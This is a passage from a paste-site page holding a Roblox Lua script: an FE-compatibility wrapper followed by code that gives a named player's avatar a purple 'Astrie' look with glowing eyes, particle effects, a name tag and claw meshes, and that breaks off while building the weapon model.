SHOW:
|
|
- or go back to the newest paste.
1 | --https://github.com/Mokiros/roblox-FE-compatibility | |
2 | if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end | |
3 | local Player,Mouse,mouse,UserInputService,ContextActionService = owner | |
4 | local RealPlayer = Player | |
5 | do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer | |
6 | end | |
7 | paly = game.Players.RhiBel00351 | |
8 | Player = game:GetService("Players").RhiBel00351 | |
9 | p = game.Players.RhiBel00351 | |
10 | char = paly.Character | |
11 | vt = Vector3.new | |
12 | rarm = char["Right Arm"] | |
13 | hed = char.Head | |
14 | larm = char["Left Arm"] | |
15 | rleg = char["Right Leg"] | |
16 | lleg = char["Left Leg"] | |
17 | local maincolor = BrickColor.random() | |
18 | local effolemode = false | |
19 | local wrathmode = false | |
20 | local noobmode = false | |
21 | local randomname = "???" | |
22 | local randomnamefem = "???" | |
23 | local randomchanger = 6 | |
24 | if paly.Name == "BINO2002" then | |
25 | randomchanger = 6 | |
26 | end | |
27 | if randomchanger == 6 then | |
28 | randomnamefem = "Astrie" | |
29 | effolemode = true | |
30 | maincolor = BrickColor.new("Royal purple") | |
31 | ||
32 | local torsmesh = Instance.new("CharacterMesh", char) | |
33 | torsmesh.BodyPart = "Torso" | |
34 | torsmesh.MeshId = "48112070" | |
35 | local dec2 = Instance.new("Decal", char) | |
36 | dec2.Face = "Front" | |
37 | dec2.Texture = "rbxassetid://381091841" | |
38 | dec2.Parent = char.Head | |
39 | char.Head.face.Transparency = 1 | |
40 | char.Head.face.Texture = "http://www.roblox.com/asset/?id=0" | |
41 | ||
42 | for i,v in pairs(char:children()) do | |
43 | if v:IsA("Hat") then | |
44 | v:Destroy() | |
45 | end | |
46 | end | |
47 | for i,v in pairs(char:children()) do | |
48 | if v:IsA("Accessory") then | |
49 | v:Destroy() | |
50 | end | |
51 | end | |
52 | for i,v in pairs(char:children()) do | |
53 | if v:IsA("Hair") then | |
54 | v:Destroy() | |
55 | end | |
56 | end | |
57 | for i,v in pairs(char:children()) do | |
58 | if v:IsA("Shirt") then | |
59 | v:Destroy() | |
60 | end | |
61 | end | |
62 | for i,v in pairs(char:children()) do | |
63 | if v:IsA("Pants") then | |
64 | v:Destroy() | |
65 | end | |
66 | end | |
67 | ||
68 | local eye12 = Instance.new("Part") | |
69 | eye12.Parent = char | |
70 | eye12.Size = Vector3.new(0.2, 0.2, 0.2) | |
71 | eye12.Archivable = true | |
72 | eye12.Transparency = 0 | |
73 | eye12.Shape = "Ball" | |
74 | eye12.BrickColor = maincolor | |
75 | eye12.Material = "Neon" | |
76 | eye12.CanCollide = false | |
77 | local mesh2 = Instance.new("SpecialMesh",eye12) | |
78 | mesh2.MeshType = "Sphere" | |
79 | mesh2.Scale = Vector3.new(0.75, 1, 1) | |
80 | local weld1en2 = Instance.new("Weld") | |
81 | weld1en2.Parent = hed | |
82 | weld1en2.Part0 = hed | |
83 | weld1en2.Part1 = eye12 | |
84 | weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475) | |
85 | local eye1 = Instance.new("Part") | |
86 | eye1.Parent = char | |
87 | eye1.Size = Vector3.new(0.2, 0.2, 0.2) | |
88 | eye1.Archivable = true | |
89 | eye1.Transparency = 0 | |
90 | eye1.Shape = "Ball" | |
91 | eye1.BrickColor = maincolor | |
92 | eye1.Material = "Neon" | |
93 | eye1.CanCollide = false | |
94 | local mesh = Instance.new("SpecialMesh",eye1) | |
95 | mesh.MeshType = "Sphere" | |
96 | mesh.Scale = Vector3.new(0.75, 1, 1) | |
97 | local weld1en = Instance.new("Weld") | |
98 | weld1en.Parent = hed | |
99 | weld1en.Part0 = hed | |
100 | weld1en.Part1 = eye1 | |
101 | weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475) | |
102 | ||
103 | local BC = char["Body Colors"] | |
104 | BC.HeadColor = BrickColor.new("White") | |
105 | BC.LeftArmColor = BrickColor.new("White") | |
106 | BC.LeftLegColor = BrickColor.new("White") | |
107 | BC.RightArmColor = BrickColor.new("White") | |
108 | BC.RightLegColor = BrickColor.new("White") | |
109 | BC.TorsoColor = BrickColor.new("White") | |
110 | ||
111 | ypcall(function() | |
112 | shirt = Instance.new("Shirt", char) | |
113 | shirt.Name = "Shirt" | |
114 | pants = Instance.new("Pants", char) | |
115 | pants.Name = "Pants" | |
116 | char.Shirt.ShirtTemplate = "rbxassetid://211752973" | |
117 | char.Pants.PantsTemplate = "rbxassetid://179059579" | |
118 | end) | |
119 | Reaper2 = Instance.new("Model") | |
120 | Reaper2.Parent = Player.Character | |
121 | Reaper2.Name = "Reaper2" | |
122 | rh2 = Instance.new("Part") | |
123 | rh2.Parent = Reaper2 | |
124 | rh2.BrickColor = maincolor | |
125 | rh2.Locked = true | |
126 | rh2.CanCollide = false | |
127 | mesh2 = Instance.new("SpecialMesh") | |
128 | rh2.formFactor = "Symmetric" | |
129 | mesh2.MeshType = "FileMesh" | |
130 | mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431" | |
131 | mesh2.Parent = rh2 | |
132 | local weld2 = Instance.new("Weld") | |
133 | weld2.Parent = rh2 | |
134 | rh2.Transparency = 0 | |
135 | weld2.Part0 = rh2 | |
136 | weld2.Part1 = Player.Character.Head | |
137 | weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0) | |
138 | ||
139 | Reaper3 = Instance.new("Model") | |
140 | Reaper3.Parent = Player.Character | |
141 | Reaper3.Name = "Reaper3" | |
142 | rh3 = Instance.new("Part") | |
143 | rh3.Parent = Reaper3 | |
144 | rh3.BrickColor = BrickColor.new("Really black") | |
145 | rh3.Locked = true | |
146 | rh3.CanCollide = false | |
147 | mesh3 = Instance.new("SpecialMesh") | |
148 | rh3.formFactor = "Symmetric" | |
149 | mesh3.MeshType = "FileMesh" | |
150 | mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852" | |
151 | mesh3.Parent = rh3 | |
152 | local weld3 = Instance.new("Weld") | |
153 | weld3.Parent = rh3 | |
154 | rh3.Transparency = 0 | |
155 | weld3.Part0 = rh3 | |
156 | weld3.Part1 = Player.Character.Head | |
157 | weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0) | |
158 | ||
159 | local orbe = Instance.new("Part") | |
160 | orbe.Parent = char | |
161 | orbe.Size = Vector3.new(0.2, 0.2, 0.2) | |
162 | orbe.Archivable = true | |
163 | orbe.Transparency = 1 | |
164 | orbe.BrickColor = maincolor | |
165 | orbe.Material = "Neon" | |
166 | orbe.CanCollide = false | |
167 | local weld1e = Instance.new("Weld") | |
168 | weld1e.Parent = rleg | |
169 | weld1e.Part0 = rleg | |
170 | weld1e.Part1 = orbe | |
171 | weld1e.C1 = CFrame.new(0, 1.125, 0) | |
172 | local pt1e = NumberSequenceKeypoint.new(0,0.85,0) | |
173 | local pt2e = NumberSequenceKeypoint.new(1,0,0) | |
174 | local effectoe = Instance.new("ParticleEmitter",orbe) | |
175 | effectoe.LightEmission = 1 | |
176 | effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
177 | effectoe.Color = ColorSequence.new(maincolor.Color) | |
178 | effectoe.Rate = 10000 | |
179 | effectoe.Lifetime = NumberRange.new(1) | |
180 | effectoe.Size = NumberSequence.new({pt1e,pt2e}) | |
181 | effectoe.Speed = NumberRange.new(0,0) | |
182 | effectoe.RotSpeed = NumberRange.new(100,100) | |
183 | ||
184 | local orbze = Instance.new("Part") | |
185 | orbze.Parent = char | |
186 | orbze.Size = Vector3.new(0.2, 0.2, 0.2) | |
187 | orbze.Archivable = true | |
188 | orbze.Transparency = 1 | |
189 | orbze.BrickColor = maincolor | |
190 | orbze.Material = "Neon" | |
191 | orbze.CanCollide = false | |
192 | local weldz1 = Instance.new("Weld") | |
193 | weldz1.Parent = lleg | |
194 | weldz1.Part0 = lleg | |
195 | weldz1.Part1 = orbze | |
196 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
197 | local effectone = Instance.new("ParticleEmitter",orbze) | |
198 | effectone.LightEmission = 1 | |
199 | effectone.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
200 | effectone.Color = ColorSequence.new(maincolor.Color) | |
201 | effectone.Rate = 10000 | |
202 | effectone.Lifetime = NumberRange.new(1) | |
203 | effectone.Size = NumberSequence.new({pt1e,pt2e}) | |
204 | effectone.Speed = NumberRange.new(0,0) | |
205 | effectone.RotSpeed = NumberRange.new(100,100) | |
206 | end | |
207 | ||
208 | if effolemode == true then | |
209 | maincolor = BrickColor.new("Royal purple") | |
210 | end | |
211 | ||
212 | local orb = Instance.new("Part") | |
213 | orb.Parent = char | |
214 | orb.Size = Vector3.new(1, 1, 1) | |
215 | orb.Archivable = true | |
216 | orb.Transparency = 1 | |
217 | orb.BrickColor = BrickColor.new("Bright orange") | |
218 | orb.Material = "Wood" | |
219 | orb.CanCollide = false | |
220 | local weld1 = Instance.new("Weld") | |
221 | weld1.Parent = rarm | |
222 | weld1.Part0 = rarm | |
223 | weld1.Part1 = orb | |
224 | weld1.C1 = CFrame.new(0, 1.125, 0) | |
225 | local pt1 = NumberSequenceKeypoint.new(0,0.475,0) | |
226 | local pt2 = NumberSequenceKeypoint.new(1,0,0) | |
227 | local effecto = Instance.new("ParticleEmitter",orb) | |
228 | effecto.LightEmission = 1 | |
229 | effecto.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
230 | effecto.Color = ColorSequence.new(maincolor.Color) | |
231 | effecto.Rate = 10000 | |
232 | effecto.Lifetime = NumberRange.new(1) | |
233 | effecto.Size = NumberSequence.new({pt1,pt2}) | |
234 | effecto.Speed = NumberRange.new(0,0) | |
235 | effecto.RotSpeed = NumberRange.new(100,100) | |
236 | ||
237 | local orbz = Instance.new("Part") | |
238 | orbz.Parent = char | |
239 | orbz.Size = Vector3.new(1, 1, 1) | |
240 | orbz.Archivable = true | |
241 | orbz.Transparency = 1 | |
242 | orbz.BrickColor = BrickColor.new("Bright orange") | |
243 | orbz.Material = "Wood" | |
244 | orbz.CanCollide = false | |
245 | local weldz1 = Instance.new("Weld") | |
246 | weldz1.Parent = larm | |
247 | weldz1.Part0 = larm | |
248 | weldz1.Part1 = orbz | |
249 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
250 | local effecton = Instance.new("ParticleEmitter",orbz) | |
251 | effecton.LightEmission = 1 | |
252 | effecton.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
253 | effecton.Color = ColorSequence.new(maincolor.Color) | |
254 | effecton.Rate = 10000 | |
255 | effecton.Lifetime = NumberRange.new(1) | |
256 | effecton.Size = NumberSequence.new({pt1,pt2}) | |
257 | effecton.Speed = NumberRange.new(0,0) | |
258 | effecton.RotSpeed = NumberRange.new(100,100) | |
259 | ||
260 | ||
261 | p = game.Players.LocalPlayer | |
262 | char = p.Character | |
263 | torso = char.Torso | |
264 | neck = char.Torso.Neck | |
265 | hum = char.Humanoid | |
266 | hum.MaxHealth = 10000 | |
267 | wait() | |
268 | hum.Health =hum.MaxHealth | |
269 | ||
270 | CV="Hot pink" | |
271 | ||
272 | local txt = Instance.new("BillboardGui", char) | |
273 | txt.Adornee = char .Head | |
274 | txt.Name = "_status" | |
275 | txt.Size = UDim2.new(2, 0, 1.2, 0) | |
276 | txt.StudsOffset = Vector3.new(-9, 8, 0) | |
277 | local text = Instance.new("TextLabel", txt) | |
278 | text.Size = UDim2.new(10, 0, 7, 0) | |
279 | text.FontSize = "Size24" | |
280 | text.TextScaled = true | |
281 | text.TextTransparency = 0 | |
282 | text.BackgroundTransparency = 1 | |
283 | text.TextTransparency = 0 | |
284 | text.TextStrokeTransparency = 0 | |
285 | text.Font = "SciFi" | |
286 | text.TextStrokeColor3 = Color3.new(0,0,0) | |
287 | ||
288 | v=Instance.new("Part") | |
289 | v.Name = "ColorBrick" | |
290 | v.Parent=p.Character | |
291 | v.FormFactor="Symmetric" | |
292 | v.Anchored=true | |
293 | v.CanCollide=false | |
294 | v.BottomSurface="Smooth" | |
295 | v.TopSurface="Smooth" | |
296 | v.Size=Vector3.new(10,5,3) | |
297 | v.Transparency=1 | |
298 | v.CFrame=char.Torso.CFrame | |
299 | v.BrickColor=BrickColor.new(CV) | |
300 | v.Transparency=1 | |
301 | text.TextColor3 = BrickColor.new("Royal purple").Color | |
302 | v.Shape="Block" | |
303 | text.Text = "Astrie" | |
304 | ||
305 | ||
306 | euler = CFrame.fromEulerAnglesXYZ | |
307 | angles = CFrame.Angles | |
308 | local player = "LocalPlayer" | |
309 | local Character = game.Players[player].Character | |
310 | it = Instance.new | |
311 | vt = Vector3.new | |
312 | bc = BrickColor.new | |
313 | cf = CFrame.new | |
314 | mr = math.rad | |
315 | local Weapon = {} | |
316 | local p = game.Players.LocalPlayer | |
317 | local char = p.Character | |
318 | local mouse = p:GetMouse() | |
319 | local larm = char["Left Arm"] | |
320 | local rarm = char["Right Arm"] | |
321 | local lleg = char["Left Leg"] | |
322 | local rleg = char["Right Leg"] | |
323 | local hed = char.Head | |
324 | local torso = char.Torso | |
325 | local hum = char.Humanoid | |
326 | local cam = game.Workspace.CurrentCamera | |
327 | local root = char.HumanoidRootPart | |
328 | local deb = false | |
329 | local shot = 0 | |
330 | ||
331 | local debris=game:service"Debris" | |
332 | local l = game:GetService("Lighting") | |
333 | local rs = game:GetService("RunService").RenderStepped | |
334 | ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1} | |
335 | math.randomseed(os.time()) | |
336 | for i,v in pairs (hed:GetChildren()) do | |
337 | if v:IsA("Sound") then | |
338 | v:Destroy() | |
339 | end | |
340 | end | |
341 | ---------------------------------------------------- BeastClaw | |
342 | NoOutline = function(Part) | |
343 | Part.TopSurface = 10 | |
344 | end | |
345 | part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size) | |
346 | local fp = it("Part") | |
347 | fp.formFactor = formfactor | |
348 | fp.Parent = parent | |
349 | fp.Reflectance = reflectance | |
350 | fp.Transparency = transparency | |
351 | fp.CanCollide = false | |
352 | fp.Locked = true | |
353 | fp.BrickColor = brickcolor | |
354 | fp.Name = name | |
355 | fp.Size = size | |
356 | NoOutline(fp) | |
357 | fp.Material = "Neon" | |
358 | fp:BreakJoints() | |
359 | return fp | |
360 | end | |
361 | mesh = function(Mesh, part, meshtype, meshid, offset, scale) | |
362 | local mesh = it(Mesh) | |
363 | mesh.Parent = part | |
364 | if Mesh == "SpecialMesh" then | |
365 | mesh.MeshType = meshtype | |
366 | if meshid ~= "nil" then | |
367 | mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid | |
368 | end | |
369 | end | |
370 | mesh.Offset = offset | |
371 | mesh.Scale = scale | |
372 | return mesh | |
373 | end | |
374 | weld = function(parent, part0, part1, c0) | |
375 | local weld = it("Motor6D") | |
376 | weld.Parent = parent | |
377 | weld.Part0 = part0 | |
378 | weld.Part1 = part1 | |
379 | weld.C0 = c0 | |
380 | return weld | |
381 | end | |
382 | gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image) | |
383 | local gui = it(GuiType) | |
384 | gui.Parent = parent | |
385 | gui.BackgroundTransparency = backtrans | |
386 | gui.BackgroundColor3 = backcol | |
387 | gui.SizeConstraint = "RelativeXY" | |
388 | gui.Position = pos | |
389 | gui.Size = size | |
390 | if GuiType == "TextLabel" then | |
391 | gui.Text = text | |
392 | gui.TextXAlignment = "Center" | |
393 | gui.TextYAlignment = "Center" | |
394 | gui.Font = "SourceSans" | |
395 | gui.FontSize = "Size14" | |
396 | gui.TextWrapped = false | |
397 | gui.TextStrokeTransparency = 0 | |
398 | gui.TextColor = TorsoColor | |
399 | else | |
400 | if GuiType == "ImageLabel" then | |
401 | gui.Image = "rbxassetid://" .. image | |
402 | gui.ImageColor3 = backcol | |
403 | end | |
404 | end | |
405 | return gui | |
406 | end | |
407 | local handle = nil | |
408 | AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef) | |
409 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
410 | prt.Material = neon | |
411 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
412 | wld = weld(handle, prt, wldpar, ceef) | |
413 | v = it("NumberValue", prt) | |
414 | v.Value = trans | |
415 | v.Name = "MainTransparency" | |
416 | return prt, msh, wld | |
417 | end | |
418 | AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare) | |
419 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
420 | prt.Material = neon | |
421 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
422 | wld = weld(wldpare, prt, wldpar, ceef) | |
423 | v = it("NumberValue", prt) | |
424 | v.Value = trans | |
425 | v.Name = "MainTransparency" | |
426 | return prt, msh, wld | |
427 | end | |
428 | local modelzorzez = Instance.new("Model") | |
429 | modelzorzez.Parent = workspace.CurrentCamera | |
430 | modelzorzez.Name = "none" | |
431 | local Torso = Character.Torso | |
432 | local LeftArm = Character["Left Arm"] | |
433 | local RightArm = Character["Right Arm"] | |
434 | local LeftLeg = Character["Left Leg"] | |
435 | local RightLeg = Character["Right Leg"] | |
436 | local Head = Character.Head | |
437 | local RootPart = Character.HumanoidRootPart | |
438 | handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt()) | |
439 | local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7)) | |
440 | ||
441 | -- SAHHHH DUUDEEE | |
442 | ||
443 | ||
444 | ||
445 | ||
446 | -- params : ... | |
447 | ||
448 | wait(0.016666666666667) | |
449 | script.Archivable = false | |
450 | Effects = {} | |
451 | local Player = game.Players.localPlayer | |
452 | local Character = Player.Character | |
453 | local Humanoid = Character.Humanoid | |
454 | local mouse = Player:GetMouse() | |
455 | local m = Instance.new("Model", Character) | |
456 | m.Name = "WeaponModel" | |
457 | local effect = Instance.new("Model", Character) | |
458 | effect.Name = "effecsfsafzx" | |
459 | local demon = Instance.new("Model", Character) | |
460 | demon.Name = "demdemd" | |
461 | local LeftArm = Character["Left Arm"] | |
462 | local RightArm = Character["Right Arm"] | |
463 | local LeftLeg = Character["Left Leg"] | |
464 | local RightLeg = Character["Right Leg"] | |
465 | local do2target = nil | |
466 | local Head = Character.Head | |
467 | local Torso = Character.Torso | |
468 | TorsoColor = BrickColor.new("Royal purple") | |
469 | z = Instance.new("Sound", Torso) | |
470 | z.SoundId = "rbxassetid://0" -- Put Music ID Here. | |
471 | z.Looped = true | |
472 | z.Pitch = 0 | |
473 | z.Volume = 0 | |
474 | wait(.1) | |
475 | z:Play() | |
476 | local cam = game.Workspace.CurrentCamera | |
477 | local RootPart = Character.HumanoidRootPart | |
478 | local RootJoint = RootPart.RootJoint | |
479 | local equipped = false | |
480 | local attack = false | |
481 | local Anim = "Idle" | |
482 | local idle = 0 | |
483 | local attacktype = 1 | |
484 | local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude | |
485 | local velocity = RootPart.Velocity.y | |
486 | local sine = 0 | |
487 | local change = 1 | |
488 | local mana = 0 | |
489 | local it = Instance.new | |
490 | vt = Vector3.new | |
491 | local grabbed = false | |
492 | local cf = CFrame.new | |
493 | local mr = math.rad | |
494 | local angles = CFrame.Angles | |
495 | local ud = UDim2.new | |
496 | local c3 = Color3.new | |
497 | clerp = function(a, b, t) | |
498 | ||
499 | return a:lerp(b, t) | |
500 | end | |
501 | ||
502 | local RbxUtility = LoadLibrary("RbxUtility") | |
503 | local Create = RbxUtility.Create | |
504 | RemoveOutlines = function(part) | |
505 | ||
506 | part.TopSurface = 10 | |
507 | end | |
508 | ||
509 | CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size) | |
510 | ||
511 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
512 | RemoveOutlines(Part) | |
513 | return Part | |
514 | end | |
515 | ||
516 | CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale) | |
517 | ||
518 | local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale}) | |
519 | if Mesh == "SpecialMesh" then | |
520 | Msh.MeshType = MeshType | |
521 | Msh.MeshId = MeshId | |
522 | end | |
523 | return Msh | |
524 | end | |
525 | ||
526 | local co1 = 3 | |
527 | local co2 = 10 | |
528 | local co3 = 15 | |
529 | local co4 = 30 | |
530 | local cooldown1 = 0 | |
531 | local cooldown2 = 0 | |
532 | local cooldown3 = 0 | |
533 | local cooldown4 = 0 | |
534 | local maxEnergy = 100 | |
535 | local Energy = 0 | |
536 | local skill1stam = 1000 | |
537 | local skill2stam = 1000 | |
538 | local skill3stam = 1000 | |
539 | local skill4stam = 1000 | |
540 | local recovermana = 5 | |
541 | local skillcolorscheme = BrickColor.new("White").Color | |
542 | local scrn = Instance.new("ScreenGui", Player.PlayerGui) | |
543 | makeframe = function(par, trans, pos, size, color) | |
544 | ||
545 | local frame = Instance.new("Frame", par) | |
546 | frame.BackgroundTransparency = trans | |
547 | frame.BorderSizePixel = 0 | |
548 | frame.Position = pos | |
549 | frame.Size = size | |
550 | frame.BackgroundColor3 = color | |
551 | return frame | |
552 | end | |
553 | ||
554 | makelabel = function(par, text) | |
555 | ||
556 | local label = Instance.new("TextLabel", par) | |
557 | label.BackgroundTransparency = 1 | |
558 | label.Size = UDim2.new(1, 0, 1, 0) | |
559 | label.Position = UDim2.new(0, 0, 0, 0) | |
560 | label.TextColor3 = Color3.new(255, 255, 255) | |
561 | label.TextStrokeTransparency = 0 | |
562 | label.FontSize = Enum.FontSize.Size32 | |
563 | label.Font = Enum.Font.SourceSansLight | |
564 | label.BorderSizePixel = 0 | |
565 | label.TextScaled = true | |
566 | label.Text = text | |
567 | end | |
568 | ||
569 | ArtificialHB = Instance.new("BindableEvent", script) | |
570 | ArtificialHB.Name = "Heartbeat" | |
571 | script:WaitForChild("Heartbeat") | |
572 | frame = 0.033333333333333 | |
573 | tf = 0 | |
574 | allowframeloss = false | |
575 | tossremainder = false | |
576 | lastframe = tick() | |
577 | script.Heartbeat:Fire() | |
578 | game:GetService("RunService").Heartbeat:connect(function(s, p) | |
579 | ||
580 | tf = tf + s | |
581 | if frame <= tf then | |
582 | if allowframeloss then | |
583 | script.Heartbeat:Fire() | |
584 | lastframe = tick() | |
585 | else | |
586 | for i = 1, math.floor(tf / frame) do | |
587 | script.Heartbeat:Fire() | |
588 | end | |
589 | lastframe = tick() | |
590 | end | |
591 | if tossremainder then | |
592 | tf = 0 | |
593 | else | |
594 | tf = tf - frame * math.floor(tf / frame) | |
595 | end | |
596 | end | |
597 | end | |
598 | ) | |
599 | swait = function(num) | |
600 | ||
601 | if num == 0 or num == nil then | |
602 | ArtificialHB.Event:wait() | |
603 | else | |
604 | for i = 0, num do | |
605 | ArtificialHB.Event:wait() | |
606 | end | |
607 | end | |
608 | end | |
609 | ||
610 | CreateWeld = function(Parent, Part0, Part1, C0, C1) | |
611 | ||
612 | local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1}) | |
613 | return Weld | |
614 | end | |
615 | ||
616 | rayCast = function(Position, Direction, Range, Ignore) | |
617 | ||
618 | return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore) | |
619 | end | |
620 | ||
621 | CreateSound = function(id, par, vol, pit) | |
622 | ||
623 | coroutine.resume(coroutine.create(function() | |
624 | ||
625 | local sou = Instance.new("Sound", par or workspace) | |
626 | sou.Volume = vol | |
627 | sou.Pitch = pit or 1 | |
628 | sou.SoundId = id | |
629 | swait() | |
630 | sou:play() | |
631 | game:GetService("Debris"):AddItem(sou, 6) | |
632 | end | |
633 | )) | |
634 | end | |
635 | ||
636 | local getclosest = function(obj, distance) | |
637 | ||
638 | local last, lastx = distance + 1, nil | |
639 | for i,v in pairs(workspace:GetChildren()) do | |
640 | if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then | |
641 | local t = v.Torso | |
642 | local dist = t.Position - obj.Position.magnitude | |
643 | if dist <= distance and dist < last then | |
644 | last = dist | |
645 | lastx = v | |
646 | end | |
647 | end | |
648 | end | |
649 | return lastx | |
650 | end | |
651 | ||
652 | CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size) | |
653 | ||
654 | if PartType == "Part" then | |
655 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
656 | RemoveOutlines(Part) | |
657 | return Part | |
658 | else | |
659 | do | |
660 | if PartType == "WedgePart" then | |
661 | local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
662 | RemoveOutlines(Part) | |
663 | return Part | |
664 | end | |
665 | end | |
666 | end | |
667 | end | |
668 | ||
669 | Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1)) | |
670 | HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
671 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
672 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0)) | |
673 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006)) | |
674 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
675 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365)) | |
